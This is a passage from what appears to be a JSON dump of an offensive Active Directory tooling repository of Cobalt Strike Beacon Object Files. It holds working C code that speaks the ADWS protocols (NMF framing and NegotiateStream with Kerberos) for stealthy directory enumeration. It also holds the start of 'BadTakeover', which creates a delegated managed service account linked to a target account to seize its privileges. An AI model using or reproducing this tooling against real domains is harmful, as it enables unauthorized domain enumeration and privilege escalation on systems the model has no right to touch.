\"ad\", \"controlValue\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"MAMCAQc=\", TRUE))\n        return FALSE; // Base64 of 30 03 02 01 07\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    return TRUE;\n}\n\n#endif\n"
  },
  {
    "path": "AD-BOF/adwssearch/nmf.h",
    "content": "/*\n * nmf.h - .NET Message Framing Protocol\n *\n * Functions for handling Microsoft's .NET Message Framing (NMF) protocol\n * which provides framing for SOAP messages over TCP.\n */\n\n#ifndef NMF_H\n#define NMF_H\n\n#ifdef BOF\n#include \"bofdefs.h\"\n#else\n#include <windows.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#endif\n\n#define NMF_VERSION_RECORD 0x00\n#define NMF_MODE_RECORD 0x01\n#define NMF_VIA_RECORD 0x02\n#define NMF_ENCODING_RECORD 0x03\n#define NMF_SIZED_ENVELOPE 0x06\n#define NMF_UPGRADE_REQUEST 0x09\n#define NMF_UPGRADE_RESPONSE 0x0A\n#define NMF_PREAMBLE_ACK 0x0B\n#define NMF_PREAMBLE_END 0x0C\n\n// CONNECTION_CONTEXT is defined in nns.h\ntypedef struct CONNECTION_CONTEXT CONNECTION_CONTEXT;\nBOOL NNSSendEncrypted(CONNECTION_CONTEXT *ctx, PBYTE data, DWORD dataLen);\n\nBOOL SendNMFHandshake(SOCKET socket, const char *target);\nBOOL UnwrapNMFEnvelope(BYTE *nmfData, DWORD nmfLen, BYTE **nbfseData, DWORD *nbfseLen);\nBOOL SendADWSMessage(CONNECTION_CONTEXT *ctx, BYTE *nbfseMessage, DWORD nbfseLen);\n\n// Send NMF handshake\nBOOL SendNMFHandshake(SOCKET socket, const char *target)\n{\n    BYTE *handshakeBuffer = NULL;\n    BYTE *responseBuffer = NULL;\n    int offset = 0;\n    int ret;\n    char viaString[256];\n    int viaLen;\n    BOOL success = FALSE;\n\n    handshakeBuffer = (BYTE *)intAlloc(512);\n    responseBuffer = (BYTE *)intAlloc(256);\n    if (!handshakeBuffer || !responseBuffer)\n    {\n        goto cleanup;\n    }\n\n    MSVCRT$sprintf(viaString, \"net.tcp://%s:9389/ActiveDirectoryWebServices/Windows/Enumeration\", target);\n    viaLen = MSVCRT$strlen(viaString);\n\n    handshakeBuffer[offset++] = NMF_VERSION_RECORD;\n    handshakeBuffer[offset++] = 0x01; // Major\n    handshakeBuffer[offset++] = 0x00; // Minor\n\n    handshakeBuffer[offset++] = NMF_MODE_RECORD;\n    handshakeBuffer[offset++] = 0x02; // Duplex\n\n    handshakeBuffer[offset++] = NMF_VIA_RECORD;\n    handshakeBuffer[offset++] = (BYTE)viaLen;\n    MSVCRT$memcpy(&handshakeBuffer[offset], viaString, viaLen);\n    offset += viaLen;\n\n    handshakeBuffer[offset++] = NMF_ENCODING_RECORD;\n    handshakeBuffer[offset++] = 0x08; // NBFSE\n\n    handshakeBuffer[offset++] = NMF_UPGRADE_REQUEST;\n    handshakeBuffer[offset++] = 0x15; // Length\n    MSVCRT$memcpy(&handshakeBuffer[offset], \"application/negotiate\", 0x15);\n    offset += 0x15;\n\n    ret = WS2_32$send(socket, (char *)handshakeBuffer, offset, 0);\n    if (ret == SOCKET_ERROR)\n    {\n        goto cleanup;\n    }\n\n    ret = WS2_32$recv(socket, (char *)responseBuffer, 256, 0);\n    if (ret <= 0 || responseBuffer[0] != NMF_UPGRADE_RESPONSE)\n    {\n        goto cleanup;\n    }\n\n    success = TRUE;\n\ncleanup:\n    if (handshakeBuffer)\n        intFree(handshakeBuffer);\n    if (responseBuffer)\n        intFree(responseBuffer);\n    return success;\n}\n\n// Unwrap NMF envelope to extract NBFSE payload\nBOOL UnwrapNMFEnvelope(BYTE *nmfData, DWORD nmfLen, BYTE **nbfseData, DWORD *nbfseLen)\n{\n    DWORD offset = 0;\n\n    if (nmfLen < 2 || nmfData[0] != NMF_SIZED_ENVELOPE)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Not an NMF envelope (first byte: 0x%02X)\", nmfLen > 0 ? nmfData[0] : 0);\n        return FALSE;\n    }\n    offset++;\n\n    DWORD payloadLen = 0;\n    BYTE firstByte = nmfData[offset++];\n\n    if ((firstByte & 0x80) == 0)\n    {\n        payloadLen = firstByte;\n    }\n    else\n    {\n        payloadLen = firstByte & 0x7F;\n        int shift = 7;\n\n        while (offset < nmfLen && shift < 32)\n        {\n            BYTE nextByte = nmfData[offset++];\n            payloadLen |= (DWORD)(nextByte & 0x7F) << shift;\n\n            if ((nextByte & 0x80) == 0)\n            {\n                break;\n            }\n\n            shift += 7;\n        }\n    }\n\n    if (payloadLen > nmfLen - offset)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] NMF payload truncated: expected %d bytes, have %d bytes\\n\", payloadLen,\n                     nmfLen - offset);\n\n        *nbfseLen = nmfLen - offset;\n        *nbfseData = (BYTE *)intAlloc(*nbfseLen);\n        if (!*nbfseData)\n            return FALSE;\n\n        MSVCRT$memcpy(*nbfseData, nmfData + offset, *nbfseLen);\n        return TRUE;\n    }\n\n    *nbfseData = (BYTE *)intAlloc(payloadLen);\n    if (!*nbfseData)\n        return FALSE;\n\n    MSVCRT$memcpy(*nbfseData, nmfData + offset, payloadLen);\n    *nbfseLen = payloadLen;\n\n    return TRUE;\n}\n\n// Send ADWS message (wraps NBFSE in NMF envelope and sends via NNS)\nBOOL SendADWSMessage(CONNECTION_CONTEXT *ctx, BYTE *nbfseMessage, DWORD nbfseLen)\n{\n    BYTE *nmfMessage = NULL;\n    DWORD nmfLen;\n    BOOL result = FALSE;\n\n    // Build NMF envelope (0x06 + varint length + payload)\n    BYTE varintBytes[5];\n    DWORD varintLen = 0;\n\n    // Encode length as varint\n    if (nbfseLen < 0x80)\n    {\n        varintBytes[0] = (BYTE)nbfseLen;\n        varintLen = 1;\n    }\n    else if (nbfseLen < 0x4000)\n    {\n        varintBytes[0] = (BYTE)(0x80 | (nbfseLen & 0x7F));\n        varintBytes[1] = (BYTE)(nbfseLen >> 7);\n        varintLen = 2;\n    }\n    else if (nbfseLen < 0x200000)\n    {\n        varintBytes[0] = (BYTE)(0x80 | (nbfseLen & 0x7F));\n        varintBytes[1] = (BYTE)(0x80 | ((nbfseLen >> 7) & 0x7F));\n        varintBytes[2] = (BYTE)(nbfseLen >> 14);\n        varintLen = 3;\n    }\n    else if (nbfseLen < 0x10000000)\n    {\n        varintBytes[0] = (BYTE)(0x80 | (nbfseLen & 0x7F));\n        varintBytes[1] = (BYTE)(0x80 | ((nbfseLen >> 7) & 0x7F));\n        varintBytes[2] = (BYTE)(0x80 | ((nbfseLen >> 14) & 0x7F));\n        varintBytes[3] = (BYTE)(nbfseLen >> 21);\n        varintLen = 4;\n    }\n    else\n    {\n        varintBytes[0] = (BYTE)(0x80 | (nbfseLen & 0x7F));\n        varintBytes[1] = (BYTE)(0x80 | ((nbfseLen >> 7) & 0x7F));\n        varintBytes[2] = (BYTE)(0x80 | ((nbfseLen >> 14) & 0x7F));\n        varintBytes[3] = (BYTE)(0x80 | ((nbfseLen >> 21) & 0x7F));\n        varintBytes[4] = (BYTE)(nbfseLen >> 28);\n        varintLen = 5;\n    }\n\n    // Allocate NMF message\n    nmfLen = 1 + varintLen + nbfseLen;\n    nmfMessage = (BYTE *)intAlloc(nmfLen);\n    if (!nmfMessage)\n        return FALSE;\n\n    // Build NMF message\n    nmfMessage[0] = NMF_SIZED_ENVELOPE;\n    MSVCRT$memcpy(nmfMessage + 1, varintBytes, varintLen);\n    MSVCRT$memcpy(nmfMessage + 1 + varintLen, nbfseMessage, nbfseLen);\n\n    // Silent - sending NMF envelope\n    // Send through encrypted channel\n    result = NNSSendEncrypted(ctx, nmfMessage, nmfLen);\n\n    intFree(nmfMessage);\n    return result;\n}\n\n#endif\n"
  },
  {
    "path": "AD-BOF/adwssearch/nns.h",
    "content": "/*\n * nns.h - .NET NegotiateStream Protocol\n *\n * Functions for handling .NET's NegotiateStream secure transport protocol\n * including SSPI/Kerberos authentication and encrypted communication.\n */\n\n#ifndef NNS_H\n#define NNS_H\n\n#define SECURITY_WIN32\n\n#ifdef BOF\n#include \"bofdefs.h\"\n#else\n#include <security.h>\n#include <windows.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#endif\n\n#define NNS_HANDSHAKE_IN_PROGRESS 0x16\n#define NNS_HANDSHAKE_DONE 0x14\n#define NNS_MAJOR_VERSION 1\n#define NNS_MINOR_VERSION 0\n\n#define NMF_PREAMBLE_ACK 0x0B\n#define NMF_PREAMBLE_END 0x0C\n#define NMF_SIZED_ENVELOPE 0x06\n\ntypedef struct CONNECTION_CONTEXT\n{\n    SOCKET socket;\n    BOOL isConnected;\n    WSADATA wsaData;\n    CredHandle hCred;\n    CtxtHandle hContext;\n    BOOL hasContext;\n    BOOL isAuthenticated;\n    SecPkgContext_Sizes sizes;\n} CONNECTION_CONTEXT;\n\nBOOL PerformNNSHandshake(CONNECTION_CONTEXT *ctx, const char *target);\nBOOL NNSSendMessage(SOCKET socket, BYTE type, PBYTE data, DWORD dataLen);\nBOOL NNSReceiveMessage(SOCKET socket, BYTE *type, PBYTE *data, DWORD *dataLen);\nBOOL NNSSendEncrypted(CONNECTION_CONTEXT *ctx, PBYTE data, DWORD dataLen);\nBOOL NNSReceiveEncrypted(CONNECTION_CONTEXT *ctx, PBYTE *data, DWORD *dataLen);\n\n// Perform NNS authentication handshake\nBOOL PerformNNSHandshake(CONNECTION_CONTEXT *ctx, const char *target)\n{\n    SECURITY_STATUS status;\n    SecBufferDesc outBufferDesc;\n    SecBuffer outBuffer;\n    SecBufferDesc inBufferDesc;\n    SecBuffer inBuffer;\n    ULONG contextAttr;\n    TimeStamp expiry;\n    WCHAR targetSPN[512];\n    BYTE *tokenBuffer = NULL;\n    BYTE *recvBuffer = NULL;\n    DWORD tokenSize = 0;\n    BYTE messageType;\n    BOOL firstCall = TRUE;\n\n    // Needs ADWS/ prefix for Kerberos\n    char spnNarrow[512];\n    MSVCRT$memset(targetSPN, 0, sizeof(targetSPN));\n    MSVCRT$sprintf(spnNarrow, \"ADWS/%s\", target);\n    KERNEL32$MultiByteToWideChar(CP_UTF8, 0, spnNarrow, -1, targetSPN, 256);\n\n    status = SECUR32$AcquireCredentialsHandleW(NULL, L\"Negotiate\", SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL,\n                                               &ctx->hCred, &expiry);\n\n    if (status != SEC_E_OK)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] AcquireCredentialsHandle failed: 0x%08X\\n\", status);\n        return FALSE;\n    }\n\n    do\n    {\n        tokenBuffer = (BYTE *)intAlloc(16384);\n        if (!tokenBuffer)\n        {\n            return FALSE;\n        }\n\n        outBuffer.BufferType = SECBUFFER_TOKEN;\n        outBuffer.cbBuffer = 16384;\n        outBuffer.pvBuffer = tokenBuffer;\n\n        outBufferDesc.ulVersion = SECBUFFER_VERSION;\n        outBufferDesc.cBuffers = 1;\n        outBufferDesc.pBuffers = &outBuffer;\n\n        if (!firstCall && recvBuffer)\n        {\n            inBuffer.BufferType = SECBUFFER_TOKEN;\n            inBuffer.cbBuffer = tokenSize;\n            inBuffer.pvBuffer = recvBuffer;\n\n            inBufferDesc.ulVersion = SECBUFFER_VERSION;\n            inBufferDesc.cBuffers = 1;\n            inBufferDesc.pBuffers = &inBuffer;\n        }\n\n        status = SECUR32$InitializeSecurityContextW(&ctx->hCred, firstCall ? NULL : &ctx->hContext, targetSPN,\n                                                    ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_CONFIDENTIALITY |\n                                                        ISC_REQ_INTEGRITY | ISC_REQ_MUTUAL_AUTH |\n                                                        ISC_REQ_USE_SUPPLIED_CREDS | ISC_REQ_EXTENDED_ERROR,\n                                                    0, SECURITY_NETWORK_DREP, firstCall ? NULL : &inBufferDesc, 0,\n                                                    &ctx->hContext, &outBufferDesc, &contextAttr, &expiry);\n\n        ctx->hasContext = TRUE;\n        firstCall = FALSE;\n\n        if (outBuffer.cbBuffer > 0)\n        {\n\n            if (!NNSSendMessage(ctx->socket, NNS_HANDSHAKE_IN_PROGRESS, (PBYTE)outBuffer.pvBuffer, outBuffer.cbBuffer))\n            {\n                intFree(tokenBuffer);\n                SECUR32$FreeContextBuffer(outBuffer.pvBuffer);\n                return FALSE;\n            }\n        }\n\n        if (outBuffer.pvBuffer)\n        {\n            SECUR32$FreeContextBuffer(outBuffer.pvBuffer);\n        }\n        intFree(tokenBuffer);\n\n        if (status == SEC_I_CONTINUE_NEEDED)\n        {\n            if (recvBuffer)\n            {\n                intFree(recvBuffer);\n                recvBuffer = NULL;\n            }\n\n            if (!NNSReceiveMessage(ctx->socket, &messageType, &recvBuffer, &tokenSize))\n            {\n                return FALSE;\n            }\n\n            if (messageType != NNS_HANDSHAKE_IN_PROGRESS)\n            {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[-] Unexpected message type: 0x%02X\\n\", messageType);\n                intFree(recvBuffer);\n                return FALSE;\n            }\n        }\n\n    } while (status == SEC_I_CONTINUE_NEEDED);\n\n    if (status != SEC_E_OK)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Authentication failed: 0x%08X\\n\", status);\n        return FALSE;\n    }\n\n    if (recvBuffer)\n    {\n        intFree(recvBuffer);\n        recvBuffer = NULL;\n    }\n\n    BYTE *doneBuffer = NULL;\n    DWORD doneSize = 0;\n    if (!NNSReceiveMessage(ctx->socket, &messageType, &doneBuffer, &doneSize))\n    {\n        return FALSE;\n    }\n\n    if (messageType != NNS_HANDSHAKE_DONE)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Expected HANDSHAKE_DONE, got: 0x%02X\\n\", messageType);\n        intFree(doneBuffer);\n        return FALSE;\n    }\n\n    intFree(doneBuffer);\n\n    // Query context for sizes before encryption\n    status = SECUR32$QueryContextAttributesW(&ctx->hContext, SECPKG_ATTR_SIZES, &ctx->sizes);\n    if (status != SEC_E_OK)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] QueryContextAttributes failed: 0x%08X\\n\", status);\n        return FALSE;\n    }\n\n    BYTE preambleEnd = NMF_PREAMBLE_END;\n    if (!NNSSendEncrypted(ctx, &preambleEnd, 1))\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Failed to send encrypted preamble end\\n\");\n        return FALSE;\n    }\n\n    PBYTE response = NULL;\n    DWORD responseLen = 0;\n    if (!NNSReceiveEncrypted(ctx, &response, &responseLen))\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Failed to receive encrypted preamble ack\\n\");\n        return FALSE;\n    }\n\n    if (responseLen != 1 || response[0] != NMF_PREAMBLE_ACK)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[-] Invalid preamble ack: 0x%02X\\n\", response[0]);\n        intFree(response);\n        return FALSE;\n    }\n\n    intFree(response);\n\n    ctx->isAuthenticated = TRUE;\n    return TRUE;\n}\n\n// Send NNS message with header\nBOOL NNSSendMessage(SOCKET socket, BYTE type, PBYTE data, DWORD dataLen)\n{\n    BYTE *buffer = (BYTE *)intAlloc(5 + dataLen);\n    if (!buffer)\n        return FALSE;\n\n    buffer[0] = type;\n    buffer[1] = 0x01;\n    buffer[2] = 0x00;\n    buffer[3] = (BYTE)((dataLen >> 8) & 0xFF);\n    buffer[4] = (BYTE)(dataLen & 0xFF);\n\n    if (data && dataLen > 0)\n    {\n        MSVCRT$memcpy(buffer + 5, data, dataLen);\n    }\n\n    int ret = WS2_32$send(socket, (char *)buffer, 5 + dataLen, 0);\n    intFree(buffer);\n\n    return (ret != SOCKET_ERROR);\n}\n\n// Receive NNS message, handling partial receives also\nBOOL NNSReceiveMessage(SOCKET socket, BYTE *type, PBYTE *data, DWORD *dataLen)\n{\n    BYTE header[5];\n    int ret;\n    int total = 0;\n\n    // Receive header\n    while (total < 5)\n    {\n        ret = WS2_32$recv(socket, (char *)(header + total), 5 - total, 0);\n        if (ret <= 0)\n        {\n            return FALSE;\n        }\n        total += ret;\n    }\n\n    *type = header[0];\n    *dataLen = (header[3] << 8) | header[4];\n\n    if (*dataLen > 0)\n    {\n        *data = (PBYTE)intAlloc(*dataLen);\n        if (!*data)\n            return FALSE;\n\n        // Receive payload\n        total = 0;\n        while (total < (int)*dataLen)\n        {\n            ret = WS2_32$recv(socket, (char *)(*data + total), *dataLen - total, 0);\n            if (ret <= 0)\n            {\n                intFree(*data);\n                return FALSE;\n            }\n            total += ret;\n        }\n    }\n    else\n    {\n        *data = NULL;\n    }\n\n    return TRUE;\n}\n\n// Send encrypted NNS message\nBOOL NNSSendEncrypted(CONNECTION_CONTEXT *ctx, PBYTE data, DWORD dataLen)\n{\n    SecBufferDesc messageDesc;\n    SecBuffer messageBuffers[3];\n    SECURITY_STATUS status;\n    BYTE *sendBuffer = NULL;\n    DWORD sendLen;\n    int ret;\n\n    // Allocate buffer for encrypted data\n    sendLen = ctx->sizes.cbSecurityTrailer + dataLen + ctx->sizes.cbBlockSize;\n    sendBuffer = (BYTE *)intAlloc(sendLen + 4);\n    if (!sendBuffer)\n        return FALSE;\n\n    // Setup buffers\n    messageBuffers[0].BufferType = SECBUFFER_TOKEN;\n    messageBuffers[0].cbBuffer = ctx->sizes.cbSecurityTrailer;\n    messageBuffers[0].pvBuffer = sendBuffer + 4;\n\n    messageBuffers[1].BufferType = SECBUFFER_DATA;\n    messageBuffers[1].cbBuffer = dataLen;\n    messageBuffers[1].pvBuffer = sendBuffer + 4 + ctx->sizes.cbSecurityTrailer;\n    MSVCRT$memcpy(messageBuffers[1].pvBuffer, data, dataLen);\n\n    messageBuffers[2].BufferType = SECBUFFER_PADDING;\n    messageBuffers[2].cbBuffer = ctx->sizes.cbBlockSize;\n    messageBuffers[2].pvBuffer = sendBuffer + 4 + ctx->sizes.cbSecurityTrailer + dataLen;\n\n    messageDesc.ulVersion = SECBUFFER_VERSION;\n    messageDesc.cBuffers = 3;\n    messageDesc.pBuffers = messageBuffers;\n\n    status = SECUR32$EncryptMessage(&ctx->hContext, 0, &messageDesc, 0);\n    if (status != SEC_E_OK)\n    {\n        intFree(sendBuffer);\n        return FALSE;\n    }\n\n    // Calculate total encrypted size\n    sendLen = messageBuffers[0].cbBuffer + messageBuffers[1].cbBuffer + messageBuffers[2].cbBuffer;\n\n    // Write length header (little-endian)\n    sendBuffer[0] = (BYTE)(sendLen & 0xFF);\n    sendBuffer[1] = (BYTE)((sendLen >> 8) & 0xFF);\n    sendBuffer[2] = (BYTE)((sendLen >> 16) & 0xFF);\n    sendBuffer[3] = (BYTE)((sendLen >> 24) & 0xFF);\n\n    ret = WS2_32$send(ctx->socket, (char *)sendBuffer, sendLen + 4, 0);\n    intFree(sendBuffer);\n\n    return (ret != SOCKET_ERROR);\n}\n\n// Receive encrypted NNS message - handles multiple chunks if needed\nBOOL NNSReceiveEncrypted(CONNECTION_CONTEXT *ctx, PBYTE *data, DWORD *dataLen)\n{\n    BYTE lengthHeader[4];\n    DWORD encryptedLen;\n    BYTE *encryptedData = NULL;\n    SecBufferDesc messageDesc;\n    SecBuffer messageBuffers[2];\n    SECURITY_STATUS status;\n    int ret;\n    int total = 0;\n\n    // First receive the initial chunk\n    // Receive length header\n    while (total < 4)\n    {\n        ret = WS2_32$recv(ctx->socket, (char *)(lengthHeader + total), 4 - total, 0);\n        if (ret <= 0)\n        {\n            int error = WS2_32$WSAGetLastError();\n            BeaconPrintf(CALLBACK_OUTPUT, \"[-] recv failed in length header: ret=%d, WSAError=%d\\n\", ret, error);\n            return FALSE;\n        }\n        total += ret;\n    }\n\n    // Parse length (little-endian)\n    encryptedLen = lengthHeader[0] | (lengthHeader[1] << 8) | (lengthHeader[2] << 16) | (lengthHeader[3] << 24);\n\n    // Receive encrypted data\n    encryptedData = (BYTE *)intAlloc(encryptedLen);\n    if (!encryptedData)\n        return FALSE;\n\n    total = 0;\n    while (total < (int)encryptedLen)\n    {\n        ret = WS2_32$recv(ctx->socket, (char *)(encryptedData + total), encryptedLen - total, 0);\n        if (ret <= 0)\n        {\n            intFree(encryptedData);\n            return FALSE;\n        }\n        total += ret;\n    }\n\n    // Setup buffers for decryption\n    messageBuffers[0].BufferType = SECBUFFER_STREAM;\n    messageBuffers[0].cbBuffer = encryptedLen;\n    messageBuffers[0].pvBuffer = encryptedData;\n\n    messageBuffers[1].BufferType = SECBUFFER_DATA;\n    messageBuffers[1].cbBuffer = 0;\n    messageBuffers[1].pvBuffer = NULL;\n\n    messageDesc.ulVersion = SECBUFFER_VERSION;\n    messageDesc.cBuffers = 2;\n    messageDesc.pBuffers = messageBuffers;\n\n    ULONG qop;\n    status = SECUR32$DecryptMessage(&ctx->hContext, &messageDesc, 0, &qop);\n    if (status != SEC_E_OK)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] DecryptMessage failed: 0x%08X\\n\", status);\n        intFree(encryptedData);\n        return FALSE;\n    }\n\n    // Find data buffer\n    BYTE *decryptedData = NULL;\n    DWORD decryptedLen = 0;\n    for (ULONG i = 0; i < messageDesc.cBuffers; i++)\n    {\n        if (messageBuffers[i].BufferType == SECBUFFER_DATA)\n        {\n            decryptedLen = messageBuffers[i].cbBuffer;\n            decryptedData = (BYTE *)messageBuffers[i].pvBuffer;\n            break;\n        }\n    }\n\n    if (!decryptedData || decryptedLen == 0)\n    {\n        intFree(encryptedData);\n        return FALSE;\n    }\n\n    // Checks if this is a truncated NMF message that needs more data\n    if (decryptedLen > 0 && decryptedData[0] == NMF_SIZED_ENVELOPE)\n    {\n        // Parse the NMF varint to see expected size\n        DWORD offset = 1;\n        DWORD expectedPayloadLen = 0;\n        if (offset < decryptedLen)\n        {\n            BYTE firstByte = decryptedData[offset++];\n            if ((firstByte & 0x80) == 0)\n            {\n                expectedPayloadLen = firstByte;\n            }\n            else\n            {\n                expectedPayloadLen = firstByte & 0x7F;\n                int shift = 7;\n                while (offset < decryptedLen && shift < 32)\n                {\n                    BYTE nextByte = decryptedData[offset++];\n                    expectedPayloadLen |= (DWORD)(nextByte & 0x7F) << shift;\n                    if ((nextByte & 0x80) == 0)\n                        break;\n                    shift += 7;\n                }\n            }\n\n            DWORD totalExpected = offset + expectedPayloadLen;\n\n            // If we need more data, receive additional chunks\n            if (totalExpected > decryptedLen)\n            {\n\n                // Allocate buffer for complete message\n                BYTE *fullMessage = (BYTE *)intAlloc(totalExpected + 1024);\n                if (!fullMessage)\n                {\n                    intFree(encryptedData);\n                    return FALSE;\n                }\n\n                MSVCRT$memcpy(fullMessage, decryptedData, decryptedLen);\n                DWORD currentLen = decryptedLen;\n\n                intFree(encryptedData);\n\n                // Receive additional chunks\n                while (currentLen < totalExpected)\n                {\n                    // Check if more data is available with MSG_PEEK\n                    BYTE peekBuf[4];\n                    ret = WS2_32$recv(ctx->socket, (char *)peekBuf, 4, MSG_PEEK);\n                    if (ret <= 0)\n                    {\n                        break;\n                    }\n\n                    // Receive next chunk header\n                    total = 0;\n                    while (total < 4)\n                    {\n                        ret = WS2_32$recv(ctx->socket, (char *)(lengthHeader + total), 4 - total, 0);\n                        if (ret <= 0)\n                            break;\n                        total += ret;\n                    }\n                    if (total < 4)\n                        break;\n\n                    // Parse chunk length\n                    encryptedLen =\n                        lengthHeader[0] | (lengthHeader[1] << 8) | (lengthHeader[2] << 16) | (lengthHeader[3] << 24);\n\n                    // Receive chunk data\n                    encryptedData = (BYTE *)intAlloc(encryptedLen);\n                    if (!encryptedData)\n                    {\n                        intFree(fullMessage);\n                        return FALSE;\n                    }\n\n                    total = 0;\n                    while (total < (int)encryptedLen)\n                    {\n                        ret = WS2_32$recv(ctx->socket, (char *)(encryptedData + total), encryptedLen - total, 0);\n                        if (ret <= 0)\n                            break;\n                        total += ret;\n                    }\n                    if (total < (int)encryptedLen)\n                    {\n                        intFree(encryptedData);\n                        break;\n                    }\n\n                    // Decrypt chunk\n                    messageBuffers[0].BufferType = SECBUFFER_STREAM;\n                    messageBuffers[0].cbBuffer = encryptedLen;\n                    messageBuffers[0].pvBuffer = encryptedData;\n                    messageBuffers[1].BufferType = SECBUFFER_DATA;\n                    messageBuffers[1].cbBuffer = 0;\n                    messageBuffers[1].pvBuffer = NULL;\n\n                    status = SECUR32$DecryptMessage(&ctx->hContext, &messageDesc, 0, &qop);\n                    if (status != SEC_E_OK)\n                    {\n                        intFree(encryptedData);\n                        break;\n                    }\n\n                    // Find decrypted data\n                    for (ULONG i = 0; i < messageDesc.cBuffers; i++)\n                    {\n                        if (messageBuffers[i].BufferType == SECBUFFER_DATA)\n                        {\n                            DWORD chunkDataLen = messageBuffers[i].cbBuffer;\n                            if (currentLen + chunkDataLen <= totalExpected + 1024)\n                            {\n                                MSVCRT$memcpy(fullMessage + currentLen, messageBuffers[i].pvBuffer, chunkDataLen);\n                                currentLen += chunkDataLen;\n                            }\n                            break;\n                        }\n                    }\n\n                    intFree(encryptedData);\n                }\n\n                // Return the assembled message\n                *dataLen = currentLen;\n                *data = fullMessage;\n                return TRUE;\n            }\n        }\n    }\n\n    // Single chunk case, just copy and return\n    *dataLen = decryptedLen;\n    *data = (PBYTE)intAlloc(decryptedLen);\n    if (*data)\n    {\n        MSVCRT$memcpy(*data, decryptedData, decryptedLen);\n    }\n\n    intFree(encryptedData);\n    return (*data != NULL);\n}\n\n#endif\n"
  },
  {
    "path": "AD-BOF/badtakeover/BadTakeover.c",
    "content": "#include <windows.h>\n#include <winldap.h>\n#include <winber.h>\n#include <sddl.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n\n#pragma comment(lib, \"wldap32.lib\")\n\nvoid go(char *args, int len) {\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] BadTakeover BOF started\\n\");\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    char *path     = BeaconDataExtract(&parser, NULL);\n    char *dMSAname = BeaconDataExtract(&parser, NULL);\n    char *access   = BeaconDataExtract(&parser, NULL);\n    char *target   = BeaconDataExtract(&parser, NULL);\n    char *domain   = BeaconDataExtract(&parser, NULL);\n\n    LDAP *ld = NULL;\n    int result;\n    int version = LDAP_VERSION3;\n\n    ULONG rc;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Connecting to LDAP\\n\");\n    ld = WLDAP32$ldap_init(domain, LDAP_PORT);\n    if (ld == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"LDAP init failed\\n\");\n        return;\n    }\n\n    result = WLDAP32$ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &version);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"Set version failed: %s\\n\", WLDAP32$ldap_err2string(result));\n        goto cleanup;\n    }\n\n    result = WLDAP32$ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"Bind failed: %s\\n\", WLDAP32$ldap_err2string(result));\n        goto cleanup;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Connected to LDAP successfully\\n\");\n\n    // Buffers\n    char childDn[512];\n    char dnsHostName[512];\n    char samAccountName[512];\n\n\n    // childDn = \"CN=\" + dMSAname + \",\" + path\n    MSVCRT$strcpy(childDn, \"CN=\");\n    MSVCRT$strcat(childDn, dMSAname);\n    MSVCRT$strcat(childDn, \",\");\n    MSVCRT$strcat(childDn, path);\n\n    // dnsHostName = dMSAname + \".\" + domain\n    MSVCRT$strcpy(dnsHostName, dMSAname);\n    MSVCRT$strcat(dnsHostName, \".\");\n    MSVCRT$strcat(dnsHostName, domain);\n\n    // samAccountName = dMSAname + \"$\"\n    MSVCRT$strcpy(samAccountName, dMSAname);\n    MSVCRT$strcat(samAccountName, \"$\");\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] dMSA DN: %s\\n\", childDn);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] dNSHostName: %s\\n\", dnsHostName);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] sAMAccountName: %s\\n\", samAccountName);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Target object for takeover: %s\\n\", target);\n\n    LDAPModA modObjectClass, modMSAState, modInterval, modDns, modSam, linkAttr, encAttr, uacAttr, sdAttr;\n    LDAPModA *mods[10];\n\n    char *objectClassVals[] = { \"msDS-DelegatedManagedServiceAccount\", NULL };\n    char *msaStateVals[]    = { \"2\", NULL };\n    char *intervalVals[]    = { \"30\", NULL };\n    char *dnsVals[]         = { dnsHostName, NULL };\n    char *samVals[]         = { samAccountName, NULL };\n    char *linkVals[] = { target, NULL };\n    char *encVals[]  = { \"28\", NULL };   // 0x1c\n    char *uacVals[]  = { \"4096\", NULL }; // 0x1000\n\n    char sddl[256];\n    MSVCRT$strcpy(sddl, \"O:S-1-5-32-544D:(A;;0xf01ff;;;\");\n    MSVCRT$strcat(sddl, access);  // access = SID of target object\n    MSVCRT$strcat(sddl, \")\");\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] SDDL value for accessing target object: %s\\n\", sddl);\n\n    PSECURITY_DESCRIPTOR pSD = NULL;\n    ULONG sdSize = 0;\n\n    rc = ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorA(\n        sddl,\n        